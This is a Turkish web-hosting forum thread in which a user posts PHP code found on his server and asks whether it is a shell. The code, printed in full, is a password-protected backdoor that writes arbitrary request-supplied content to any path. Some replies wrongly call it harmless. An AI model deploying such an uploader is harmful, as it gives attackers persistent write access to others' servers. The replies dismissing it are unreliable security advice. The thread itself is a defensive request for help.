-
Üyelik
27.05.2014
-
Yaş/Cinsiyet
28 / E
-
Meslek
Makine Mühendisliği Öğrencisi
-
Konum
Erzurum
-
Ad Soyad
O** U**
-
Mesajlar
415
-
Beğeniler
71 / 82
-
Ticaret
15, (%100)
Hostumda su dosyayı buldum shell problemim vardı bu kodlar shell içeriği olabilir mi ?
$action=$_REQUEST['action'];
$password=$_REQUEST['password'];
$pathname=$_REQUEST['pathname'];
$keywordindex=$_REQUEST['keywordindex'];
$filename=$_REQUEST['filename'];
$body=stripslashes($_REQUEST['body']);
if($action=="test")
{
echo 'test success';
return;
}
if($action!="publish")
{
echo 'action error';
return;
}
if($action==""||$password==""||$filename==""||$body=="")
{
echo 'parameters error';
return;
}
if($password!="julong2014")
{
echo 'password error';
return;
}
$wjj=dirname(__FILE__);
if(!file_exists($wjj))
{
mkdir($wjj,0777);
}
createFolder($pathname);
$fp=fopen($pathname.'/'.$filename,"w");
//fwrite($fp,"\xEF\xBB\xBF".iconv('gbk','utf-8//IGNORE',$body));
fwrite($fp,"\xEF\xBB\xBF".$body);
fclose($fp);
echo "publish success";
function createFolder($path)
{
if (!file_exists($path))
{
createFolder(dirname($path));
mkdir($path, 0777);
}
}
function mkdirs($dir)
{
if(!is_dir($dir))
{
if(!mkdirs(dirname($dir)))
{ return false; }
if(!mkdir($dir,0777))
{ return false; }
}
return true;
}
function rmdirs($dir)
{
$d = dir($dir);
while (false !== ($child = $d->read()))
{
if($child != '.' && $child != '..')
{
if(is_dir($dir.'/'.$child))
rmdirs($dir.'/'.$child);
else
unlink($dir.'/'.$child);
}
}
$d->close();
rmdir($dir);
}
?>
-
Üyelik
26.11.2014
-
Yaş/Cinsiyet
31 / E
-
Meslek
Makine Mühendisi
-
Konum
İstanbul Anadolu
-
Ad Soyad
K** D**
-
Mesajlar
1312
-
Beğeniler
188 / 247
-
Ticaret
162, (%100)
Hocam ne olduğunu bilmiyorum PHP bilgim o kadar yok ancak Shell olmadığından eminim.
en azından shell.php olarak kaydedip hosta atıp bakın ama shell değil. :)
-
Üyelik
26.11.2014
-
Yaş/Cinsiyet
31 / E
-
Meslek
Makine Mühendisi
-
Konum
İstanbul Anadolu
-
Ad Soyad
K** D**
-
Mesajlar
1312
-
Beğeniler
188 / 247
-
Ticaret
162, (%100)
Bu konuda PHP bilen birisi kodları yorumlasa iyi olur. Ama Statpress'ten bakıyorsanı genel bir şey de olabilir. CloudFlare korumasını kullanabilirsiniz. Spam hit olma olmasılığı da yüksek.
1 kişi bu mesajı beğendi.
-
Üyelik
24.08.2012
-
Yaş/Cinsiyet
29 / E
-
Meslek
Front end Developer
-
Konum
Aksaray
-
Ad Soyad
H** K**
-
Mesajlar
1041
-
Beğeniler
327 / 328
-
Ticaret
12, (%100)
Büyük ihtimalle shell dosyası hocam, ilk satırlarda hesap bilgilerini sorguluyor daha sonra hesap bilgileri doğru ise dosya oluşturması için girdiği fonksiyon oluşturuyor daha sonra dosya oluşturunca kalıntıları silip bırakıyor öyle :)
Silmenizde yarar var ancak onu silmeniz geri gelmeyeceği anlamına gelmez çünkü sistemde onu çağıran o dosyayı sunucuza getiren başka php ve js,html dosyası bulunabilir. Bunun teminatını ,garanti temizliğini ancak host sağlayıcınız yapabilir.
Root erişimi olan birisi ancak bu shell dosyasını sistemden silebilir. Sunucuda açık var ise sistem sağlayıcınız bu dosyayı silse bile yine zarar vermek isteyen yine o açığı bulup yine aynı yöntemle sisteme entegre olabilir.
Host sağlayıcınız size net bir bilgi verecektir ancak bizde sorun değil,bizimle alakalı birşey değil sunucumuz güvenli vs vs derlerse hiç lafı uzatmayın sitenizin db'sinin yedeğini alıp başka bir firmaya geçiş yapın :rolleyes:
MyBB Türkçe Destek Forumu | mybb.pro
-
Üyelik
07.10.2014
-
Yaş/Cinsiyet
32 / E
-
Meslek
Digital Bilişim Danışmanı
-
Konum
Antalya
-
Ad Soyad
A** B**
-
Mesajlar
8
-
Beğeniler
0 / 1
-
Ticaret
0, (%0)
1-) Shell ile uzaktan yakından alakası yok :)
Fakat belli dosyalara chmod777 yani okuma yazma izni veriyor.
Örnek:
createFolder(dirname($path));
mkdir($path, 0777);
}
}
function mkdirs($dir)
burda yeni oluşturulan dosyaya otomatikman chmod 777 eklemiş.
Kurdugun script büyük bir ihtimalle "war*z" komple sistemi sil derim :)
iyi forumlar
akifbayrak.com
info@akifbayrak.com
akif.bayrak2